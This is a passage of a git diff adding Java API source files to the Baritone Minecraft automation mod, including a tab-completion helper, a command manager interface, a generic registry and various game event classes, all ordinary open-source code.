CommandException { + paginate(consumer, Arrays.asList(elems), null, transform, null); + } +} diff --git a/src/baritone/api/command/helpers/TabCompleteHelper.java b/src/baritone/api/command/helpers/TabCompleteHelper.java new file mode 100644 index 00000000..96706d08 --- /dev/null +++ b/src/baritone/api/command/helpers/TabCompleteHelper.java @@ -0,0 +1,287 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.helpers; + +import baritone.api.BaritoneAPI; +import baritone.api.Settings; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.manager.ICommandManager; +import baritone.api.event.events.TabCompleteEvent; +import baritone.api.utils.SettingsUtil; +import net.minecraft.util.ResourceLocation; + +import java.util.Comparator; +import java.util.List; +import java.util.Locale; +import java.util.function.Function; +import java.util.function.Predicate; +import java.util.stream.Stream; + +/** + * The {@link TabCompleteHelper} is a single-use object that helps you handle tab completion. It includes helper + * methods for appending and prepending streams, sorting, filtering by prefix, and so on. + *

+ * The recommended way to use this class is: + *

    + *
  • Create a new instance with the empty constructor
  • + *
  • Use {@code append}, {@code prepend} or {@code add} methods to add completions
  • + *
  • Sort using {@link #sort(Comparator)} or {@link #sortAlphabetically()} and then filter by prefix using + * {@link #filterPrefix(String)}
  • + *
  • Get the stream using {@link #stream()}
  • + *
  • Pass it up to whatever's calling your tab complete function (i.e. + * {@link ICommandManager#tabComplete(String)} or {@link IArgConsumer}#tabCompleteDatatype(IDatatype)})
  • + *
+ *

+ * For advanced users: if you're intercepting {@link TabCompleteEvent}s directly, use {@link #build()} instead for an + * array. + */ +public class TabCompleteHelper { + + private Stream stream; + + public TabCompleteHelper(String[] base) { + stream = Stream.of(base); + } + + public TabCompleteHelper(List base) { + stream = base.stream(); + } + + public TabCompleteHelper() { + stream = Stream.empty(); + } + + /** + * Appends the specified stream to this {@link TabCompleteHelper} and returns it for chaining + * + * @param source The stream to append + * @return This {@link TabCompleteHelper} after having appended the stream + * @see #append(String...) + * @see #append(Class) + */ + public TabCompleteHelper append(Stream source) { + stream = Stream.concat(stream, source); + return this; + } + + /** + * Appends the specified strings to this {@link TabCompleteHelper} and returns it for chaining + * + * @param source The stream to append + * @return This {@link TabCompleteHelper} after having appended the strings + * @see #append(Stream) + * @see #append(Class) + */ + public TabCompleteHelper append(String... source) { + return append(Stream.of(source)); + } + + /** + * Appends all values of the specified enum to this {@link TabCompleteHelper} and returns it for chaining + * + * @param num The enum to append the values of + * @return This {@link TabCompleteHelper} after having appended the values + * @see #append(Stream) + * @see #append(String...) + */ + public TabCompleteHelper append(Class> num) { + return append( + Stream.of(num.getEnumConstants()) + .map(Enum::name) + .map(String::toLowerCase) + ); + } + + /** + * Prepends the specified stream to this {@link TabCompleteHelper} and returns it for chaining + * + * @param source The stream to prepend + * @return This {@link TabCompleteHelper} after having prepended the stream + * @see #prepend(String...) + * @see #prepend(Class) + */ + public TabCompleteHelper prepend(Stream source) { + stream = Stream.concat(source, stream); + return this; + } + + /** + * Prepends the specified strings to this {@link TabCompleteHelper} and returns it for chaining + * + * @param source The stream to prepend + * @return This {@link TabCompleteHelper} after having prepended the strings + * @see #prepend(Stream) + * @see #prepend(Class) + */ + public TabCompleteHelper prepend(String... source) { + return prepend(Stream.of(source)); + } + + /** + * Prepends all values of the specified enum to this {@link TabCompleteHelper} and returns it for chaining + * + * @param num The enum to prepend the values of + * @return This {@link TabCompleteHelper} after having prepended the values + * @see #prepend(Stream) + * @see #prepend(String...) + */ + public TabCompleteHelper prepend(Class> num) { + return prepend( + Stream.of(num.getEnumConstants()) + .map(Enum::name) + .map(String::toLowerCase) + ); + } + + /** + * Apply the specified {@code transform} to every element currently in this {@link TabCompleteHelper} and + * return this object for chaining + * + * @param transform The transform to apply + * @return This {@link TabCompleteHelper} + */ + public TabCompleteHelper map(Function transform) { + stream = stream.map(transform); + return this; + } + + /** + * Apply the specified {@code filter} to every element currently in this {@link TabCompleteHelper} and return + * this object for chaining + * + * @param filter The filter to apply + * @return This {@link TabCompleteHelper} + */ + public TabCompleteHelper filter(Predicate filter) { + stream = stream.filter(filter); + return this; + } + + /** + * Apply the specified {@code sort} to every element currently in this {@link TabCompleteHelper} and return + * this object for chaining + * + * @param comparator The comparator to use + * @return This {@link TabCompleteHelper} + */ + public TabCompleteHelper sort(Comparator comparator) { + stream = stream.sorted(comparator); + return this; + } + + /** + * Sort every element currently in this {@link TabCompleteHelper} alphabetically and return this object for + * chaining + * + * @return This {@link TabCompleteHelper} + */ + public TabCompleteHelper sortAlphabetically() { + return sort(String.CASE_INSENSITIVE_ORDER); + } + + /** + * Filter out any element that doesn't start with {@code prefix} and return this object for chaining + * + * @param prefix The prefix to filter for + * @return This {@link TabCompleteHelper} + */ + public TabCompleteHelper filterPrefix(String prefix) { + return filter(x -> x.toLowerCase(Locale.US).startsWith(prefix.toLowerCase(Locale.US))); + } + + /** + * Filter out any element that doesn't start with {@code prefix} and return this object for chaining + *

+ * Assumes every element in this {@link TabCompleteHelper} is a {@link ResourceLocation} + * + * @param prefix The prefix to filter for + * @return This {@link TabCompleteHelper} + */ + public TabCompleteHelper filterPrefixNamespaced(String prefix) { + return filterPrefix(new ResourceLocation(prefix).toString()); + } + + /** + * @return An array containing every element in this {@link TabCompleteHelper} + * @see #stream() + */ + public String[] build() { + return stream.toArray(String[]::new); + } + + /** + * @return A stream containing every element in this {@link TabCompleteHelper} + * @see #build() + */ + public Stream stream() { + return stream; + } + + /** + * Appends every command in the specified {@link ICommandManager} to this {@link TabCompleteHelper} + * + * @param manager A command manager + * @return This {@link TabCompleteHelper} + */ + public TabCompleteHelper addCommands(ICommandManager manager) { + return append(manager.getRegistry().descendingStream() + .flatMap(command -> command.getNames().stream()) + .distinct() + ); + } + + /** + * Appends every setting in the {@link Settings} to this {@link TabCompleteHelper} + * + * @return This {@link TabCompleteHelper} + */ + public TabCompleteHelper addSettings() { + return append( + BaritoneAPI.getSettings().allSettings.stream() + .filter(s -> !s.isJavaOnly()) + .map(Settings.Setting::getName) + .sorted(String.CASE_INSENSITIVE_ORDER) + ); + } + + /** + * Appends every modified setting in the {@link Settings} to this {@link TabCompleteHelper} + * + * @return This {@link TabCompleteHelper} + */ + public TabCompleteHelper addModifiedSettings() { + return append( + SettingsUtil.modifiedSettings(BaritoneAPI.getSettings()).stream() + .map(Settings.Setting::getName) + .sorted(String.CASE_INSENSITIVE_ORDER) + ); + } + + /** + * Appends every {@link Boolean} setting in the {@link Settings} to this {@link TabCompleteHelper} + * + * @return This {@link TabCompleteHelper} + */ + public TabCompleteHelper addToggleableSettings() { + return append( + BaritoneAPI.getSettings().getAllValuesByType(Boolean.class).stream() + .map(Settings.Setting::getName) + .sorted(String.CASE_INSENSITIVE_ORDER) + ); + } +} diff --git a/src/baritone/api/command/manager/ICommandManager.java b/src/baritone/api/command/manager/ICommandManager.java new file mode 100644 index 00000000..3f2d81f2 --- /dev/null +++ b/src/baritone/api/command/manager/ICommandManager.java @@ -0,0 +1,52 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.manager; + +import baritone.api.IBaritone; +import baritone.api.command.ICommand; +import baritone.api.command.argument.ICommandArgument; +import baritone.api.command.registry.Registry; +import net.minecraft.util.Tuple; + +import java.util.List; +import java.util.stream.Stream; + +/** + * @author Brady + * @since 9/21/2019 + */ +public interface ICommandManager { + + IBaritone getBaritone(); + + Registry getRegistry(); + + /** + * @param name The command name to search for. + * @return The command, if found. + */ + ICommand getCommand(String name); + + boolean execute(String string); + + boolean execute(Tuple> expanded); + + Stream tabComplete(Tuple> expanded); + + Stream tabComplete(String prefix); +} diff --git a/src/baritone/api/command/registry/Registry.java b/src/baritone/api/command/registry/Registry.java new file mode 100644 index 00000000..b571484b --- /dev/null +++ b/src/baritone/api/command/registry/Registry.java @@ -0,0 +1,135 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.registry; + +import java.util.*; +import java.util.function.Consumer; +import java.util.stream.Stream; +import java.util.stream.StreamSupport; + +/** + * This registry class allows for registration and unregistration of a certain type. This is mainly designed for use by + * event handlers where newly registered ones are encountered first during iteration and can therefore override older + * ones. In Baritone, this is used for commands and argument parsers so that mods and addons can extend Baritone's + * functionality without resorting to hacks, wrappers, or mixins. + * + * @param The entry type that will be stored in this registry. This can be anything, really - preferably anything + * that works as a HashMap key, as that's what's used to keep track of which entries are registered or not. + */ +public class Registry { + + /** + * An internal linked list of all the entries that are currently registered. This is a linked list so that entries + * can be inserted at the beginning, which means that newer entries are encountered first during iteration. This is + * an important property of the registry that makes it more useful than a simple list, and also the reason it does + * not just use a map. + */ + private final Deque _entries = new LinkedList<>(); + /** + * A HashSet containing every entry currently registered. Entries are added to this set when something is registered + * and removed from the set when they are unregistered. An entry being present in this set indicates that it is + * currently registered, can be removed, and should not be reregistered until it is removed. + */ + private final Set registered = new HashSet<>(); + /** + * The collection of entries that are currently in this registry. This is a collection (and not a list) because, + * internally, entries are stored in a linked list, which is not the same as a normal list. + */ + public final Collection entries = Collections.unmodifiableCollection(_entries); + + /** + * @param entry The entry to check. + * @return If this entry is currently registered in this registry. + */ + public boolean registered(V entry) { + return registered.contains(entry); + } + + /** + * Ensures that the entry {@code entry} is registered. + * + * @param entry The entry to register. + * @return A boolean indicating whether or not this is a new registration. No matter the value of this boolean, the + * entry is always guaranteed to now be in this registry. This boolean simply indicates if the entry was not + * in the map prior to this method call. + */ + public boolean register(V entry) { + if (!registered(entry)) { + _entries.addFirst(entry); + registered.add(entry); + return true; + } + return false; + } + + /** + * Unregisters this entry from this registry. After this method call, the entry is guaranteed to be removed from the + * registry, since each entry only ever appears once. + * + * @param entry The entry to unregister. + */ + public void unregister(V entry) { + if (!registered(entry)) { + return; + } + _entries.remove(entry); + registered.remove(entry); + } + + /** + * Returns an iterator that iterates over each entry in this registry, with the newest elements iterated over first. + * Internally, as new elements are prepended to the registry rather than appended to the end, this order is the best + * way to search through the registry if you want to discover newer items first. + */ + public Iterator iterator() { + return _entries.iterator(); + } + + /** + * Returns an iterator that iterates over each entry in this registry, in the order they were added. Internally, + * this iterates through the registry backwards, as new elements are prepended to the registry rather than appended + * to the end. You should only do this when you need to, for example, list elements in order - it is almost always + * fine to simply use {@link Iterable#forEach(Consumer) forEach} on the {@link #entries} collection instead. + */ + public Iterator descendingIterator() { + return _entries.descendingIterator(); + } + + /** + * Returns a stream that contains each entry in this registry, with the newest elements ordered first. Internally, + * as new elements are prepended to the registry rather than appended to the end, this order is the best way to + * search through the registry if you want to discover newer items first. + */ + public Stream stream() { + return _entries.stream(); + } + + /** + * Returns a stream that returns each entry in this registry, in the order they were added. Internally, this orders + * the registry backwards, as new elements are prepended to the registry rather than appended to the end. You should + * only use this when you need to, for example, list elements in order - it is almost always fine to simply use the + * regular {@link #stream()} method instead. + */ + public Stream descendingStream() { + return StreamSupport.stream(Spliterators.spliterator( + descendingIterator(), + _entries.size(), + Spliterator.SIZED | Spliterator.SUBSIZED + ), false); + } +} diff --git a/src/baritone/api/event/events/BlockInteractEvent.java b/src/baritone/api/event/events/BlockInteractEvent.java new file mode 100644 index 00000000..6508d739 --- /dev/null +++ b/src/baritone/api/event/events/BlockInteractEvent.java @@ -0,0 +1,71 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.event.events; + +import net.minecraft.util.math.BlockPos; + +/** + * Called when the local player interacts with a block, can be either {@link Type#START_BREAK} or {@link Type#USE}. + * + * @author Brady + * @since 8/22/2018 + */ +public final class BlockInteractEvent { + + /** + * The position of the block interacted with + */ + private final BlockPos pos; + + /** + * The type of interaction that occurred + */ + private final Type type; + + public BlockInteractEvent(BlockPos pos, Type type) { + this.pos = pos; + this.type = type; + } + + /** + * @return The position of the block interacted with + */ + public final BlockPos getPos() { + return this.pos; + } + + /** + * @return The type of interaction with the target block + */ + public final Type getType() { + return this.type; + } + + public enum Type { + + /** + * We're starting to break the target block. + */ + START_BREAK, + + /** + * We're right clicking on the target block. Either placing or interacting with. + */ + USE + } +} diff --git a/src/baritone/api/event/events/ChatEvent.java b/src/baritone/api/event/events/ChatEvent.java new file mode 100644 index 00000000..d91e87b0 --- /dev/null +++ b/src/baritone/api/event/events/ChatEvent.java @@ -0,0 +1,43 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.event.events; + +import baritone.api.event.events.type.Cancellable; + +/** + * @author Brady + * @since 8/1/2018 + */ +public final class ChatEvent extends Cancellable { + + /** + * The message being sent + */ + private final String message; + + public ChatEvent(String message) { + this.message = message; + } + + /** + * @return The message being sent + */ + public final String getMessage() { + return this.message; + } +} diff --git a/src/baritone/api/event/events/ChunkEvent.java b/src/baritone/api/event/events/ChunkEvent.java new file mode 100644 index 00000000..f27475bc --- /dev/null +++ b/src/baritone/api/event/events/ChunkEvent.java @@ -0,0 +1,111 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.event.events; + +import baritone.api.event.events.type.EventState; + +/** + * @author Brady + * @since 8/2/2018 + */ +public final class ChunkEvent { + + /** + * The state of the event + */ + private final EventState state; + + /** + * The type of chunk event that occurred + * + * @see Type + */ + private final Type type; + + /** + * The Chunk X position. + */ + private final int x; + + /** + * The Chunk Z position. + */ + private final int z; + + public ChunkEvent(EventState state, Type type, int x, int z) { + this.state = state; + this.type = type; + this.x = x; + this.z = z; + } + + /** + * @return The state of the event + */ + public final EventState getState() { + return this.state; + } + + /** + * @return The type of chunk event that occurred; + */ + public final Type getType() { + return this.type; + } + + /** + * @return The Chunk X position. + */ + public final int getX() { + return this.x; + } + + /** + * @return The Chunk Z position. + */ + public final int getZ() { + return this.z; + } + + public enum Type { + + /** + * When the chunk is constructed. + */ + LOAD, + + /** + * When the chunk is deconstructed. + */ + UNLOAD, + + /** + * When the chunk is being populated with blocks, tile entities, etc. + *

+ * And it's a full chunk + */ + POPULATE_FULL, + + /** + * When the chunk is being populated with blocks, tile entities, etc. + *

+ * And it's a partial chunk + */ + POPULATE_PARTIAL + } +} diff --git a/src/baritone/api/event/events/PacketEvent.java b/src/baritone/api/event/events/PacketEvent.java new file mode 100644 index 00000000..43c61a1a --- /dev/null +++ b/src/baritone/api/event/events/PacketEvent.java @@ -0,0 +1,58 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.event.events; + +import baritone.api.event.events.type.EventState; +import net.minecraft.network.IPacket; +import net.minecraft.network.NetworkManager; + +/** + * @author Brady + * @since 8/6/2018 + */ +public final class PacketEvent { + + private final NetworkManager networkManager; + + private final EventState state; + + private final IPacket packet; + + public PacketEvent(NetworkManager networkManager, EventState state, IPacket packet) { + this.networkManager = networkManager; + this.state = state; + this.packet = packet; + } + + public final NetworkManager getNetworkManager() { + return this.networkManager; + } + + public final EventState getState() { + return this.state; + } + + public final IPacket getPacket() { + return this.packet; + } + + @SuppressWarnings("unchecked") + public final > T cast() { + return (T) this.packet; + } +} diff --git a/src/baritone/api/event/events/PathEvent.java b/src/baritone/api/event/events/PathEvent.java new file mode 100644 index 00000000..0eef0665 --- /dev/null +++ b/src/baritone/api/event/events/PathEvent.java @@ -0,0 +1,33 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.event.events; + +public enum PathEvent { + CALC_STARTED, + CALC_FINISHED_NOW_EXECUTING, + CALC_FAILED, + NEXT_SEGMENT_CALC_STARTED, + NEXT_SEGMENT_CALC_FINISHED, + CONTINUING_ONTO_PLANNED_NEXT, + SPLICING_ONTO_NEXT_EARLY, + AT_GOAL, + PATH_FINISHED_NEXT_STILL_CALCULATING, + NEXT_CALC_FAILED, + DISCARD_NEXT, + CANCELED; +} diff --git a/src/baritone/api/event/events/PlayerUpdateEvent.java b/src/baritone/api/event/events/PlayerUpdateEvent.java new file mode 100644 index 00000000..6ac08bdd --- /dev/null +++ b/src/baritone/api/event/events/PlayerUpdateEvent.java @@ -0,0 +1,43 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.event.events; + +import baritone.api.event.events.type.EventState; + +/** + * @author Brady + * @since 8/21/2018 + */ +public final class PlayerUpdateEvent { + + /** + * The state of the event + */ + private final EventState state; + + public PlayerUpdateEvent(EventState state) { + this.state = state; + } + + /** + * @return The state of the event + */ + public final EventState getState() { + return this.state; + } +} diff --git a/src/baritone/api/event/events/RenderEvent.java b/src/baritone/api/event/events/RenderEvent.java new file mode 100644 index 00000000..0bd035c2 --- /dev/null +++ b/src/baritone/api/event/events/RenderEvent.java @@ -0,0 +1,57 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.event.events; + +import com.mojang.blaze3d.matrix.MatrixStack; +import net.minecraft.util.math.vector.Matrix4f; + +/** + * @author Brady + * @since 8/5/2018 + */ +public final class RenderEvent { + + /** + * The current render partial ticks + */ + private final float partialTicks; + + private final Matrix4f projectionMatrix; + private final MatrixStack modelViewStack; + + public RenderEvent(float partialTicks, MatrixStack modelViewStack, Matrix4f projectionMatrix) { + this.partialTicks = partialTicks; + this.modelViewStack = modelViewStack; + this.projectionMatrix = projectionMatrix; + } + + /** + * @return The current render partial ticks + */ + public final float getPartialTicks() { + return this.partialTicks; + } + + public MatrixStack getModelViewStack() { + return this.modelViewStack; + } + + public Matrix4f getProjectionMatrix() { + return this.projectionMatrix; + } +} diff --git a/src/baritone/api/event/events/RotationMoveEvent.java b/src/baritone/api/event/events/RotationMoveEvent.java new file mode 100644 index 00000000..30a0bcce --- /dev/null +++ b/src/baritone/api/event/events/RotationMoveEvent.java @@ -0,0 +1,114 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.event.events; + +import baritone.api.utils.Rotation; +import net.minecraft.entity.Entity; +import net.minecraft.entity.LivingEntity; +import net.minecraft.util.math.vector.Vector3d; + +/** + * @author Brady + * @since 8/21/2018 + */ +public final class RotationMoveEvent { + + /** + * The type of event + */ + private final Type type; + + private final Rotation original; + + /** + * The yaw rotation + */ + private float yaw; + + /** + * The pitch rotation + */ + private float pitch; + + public RotationMoveEvent(Type type, float yaw, float pitch) { + this.type = type; + this.original = new Rotation(yaw, pitch); + this.yaw = yaw; + this.pitch = pitch; + } + + public Rotation getOriginal() { + return this.original; + } + + /** + * Set the yaw movement rotation + * + * @param yaw Yaw rotation + */ + public void setYaw(float yaw) { + this.yaw = yaw; + } + + /** + * @return The yaw rotation + */ + public float getYaw() { + return this.yaw; + } + + /** + * Set the pitch movement rotation + * + * @param pitch Pitch rotation + */ + public void setPitch(float pitch) { + this.pitch = pitch; + } + + /** + * @return The pitch rotation + */ + public float getPitch() { + return pitch; + } + + /** + * @return The type of the event + */ + public Type getType() { + return this.type; + } + + public enum Type { + + /** + * Called when the player's motion is updated. + * + * @see Entity#moveRelative(float, Vector3d) + */ + MOTION_UPDATE, + + /** + * Called when the player jumps. + * + * @see LivingEntity + */ + JUMP + } +} diff --git a/src/baritone/api/event/events/SprintStateEvent.java b/src/baritone/api/event/events/SprintStateEvent.java new file mode 100644 index 00000000..60672801 --- /dev/null +++ b/src/baritone/api/event/events/SprintStateEvent.java @@ -0,0 +1,35 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.event.events; + +/** + * @author Brady + * @since 1/18/2019 + */ +public final class SprintStateEvent { + + private Boolean state; + + public final void setState(boolean state) { + this.state = state; + } + + public final Boolean getState() { + return this.state; + } +} diff --git a/src/baritone/api/event/events/TabCompleteEvent.java b/src/baritone/api/event/events/TabCompleteEvent.java new file mode 100644 index 00000000..268cf62b --- /dev/null +++ b/src/baritone/api/event/events/TabCompleteEvent.java @@ -0,0 +1,34 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.event.events; + +import baritone.api.event.events.type.Cancellable; + +/** + * @author LoganDark + */ +public final class TabCompleteEvent extends Cancellable { + + public final String prefix; + public String[] completions; + + public TabCompleteEvent(String prefix) { + this.prefix = prefix; + this.completions = null; + } +} diff --git a/src/baritone/api/event/events/TickEvent.java b/src/baritone/api/event/events/TickEvent.java new file mode 100644 index 00000000..5c484ae4 --- /dev/null +++ b/src/baritone/api/event/events/TickEvent.java @@ -0,0 +1,67 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.event.events; + +import baritone.api.event.events.type.EventState; + +import java.util.function.BiFunction; + +public final class TickEvent { + + private static int overallTickCount; + + private final EventState state; + private final Type type; + private final int count; + + public TickEvent(EventState state, Type type, int count) { + this.state = state; + this.type = type; + this.count = count; + } + + public int getCount() { + return count; + } + + public Type getType() { + return type; + } + + public EventState getState() { + return state; + } + + public static synchronized BiFunction createNextProvider() { + final int count = overallTickCount++; + return (state, type) -> new TickEvent(state, type, count); + } + + public enum Type { + /** + * When guarantees can be made about + * the game state and in-game variables. + */ + IN, + /** + * No guarantees can be made about the game state. + * This probably means we are at the main menu. + */ + OUT, + } +} diff --git a/src/baritone/api/event/events/WorldEvent.java b/src/baritone/api/event/events/WorldEvent.java new file mode 100644 index 00000000..39cd4a32 --- /dev/null +++ b/src/baritone/api/event/events/WorldEvent.java @@ -0,0 +1,57 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.event.events; + +import baritone.api.event.events.type.EventState; +import net.minecraft.client.world.ClientWorld; + +/** + * @author Brady + * @since 8/4/2018 + */ +public final class WorldEvent { + + /** + * The new world that is being loaded. {@code null} if being unloaded. + */ + private final ClientWorld world; + + /** + * The state of the event + */ + private final EventState state; + + public WorldEvent(ClientWorld world, EventState state) { + this.world = world; + this.state = state; + } + + /** + * @return The new world that is being loaded. {@code null} if being unloaded. + */ + public final ClientWorld getWorld() { + return this.world; + } + + /** + * @return The state of the event + */ + public final EventState getState() { + return this.state; + } +} diff --git a/src/baritone/api/event/events/type/Cancellable.java b/src/baritone/api/event/events/type/Cancellable.java new file mode 100644 index 00000000..ab9707e9 --- /dev/null +++ b/src/baritone/api/event/events/type/Cancellable.java @@ -0,0 +1,40 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.event.events.type; + +/** + * @author Brady + * @since 8/1/2018 + */ +public class Cancellable implements ICancellable { + + /** + * Whether or not this event has been cancelled + */ + private boolean cancelled; + + @Override + public final void cancel() { + this.cancelled = true; + } + + @Override + public final boolean isCancelled() { + return this.cancelled; + } +} diff --git a/src/baritone/api/event/events/type/EventState.java b/src/baritone/api/event/events/type/EventState.java new file mode 100644 index 00000000..5f010c30 --- /dev/null +++ b/src/baritone/api/event/events/type/EventState.java @@ -0,0 +1,35 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU 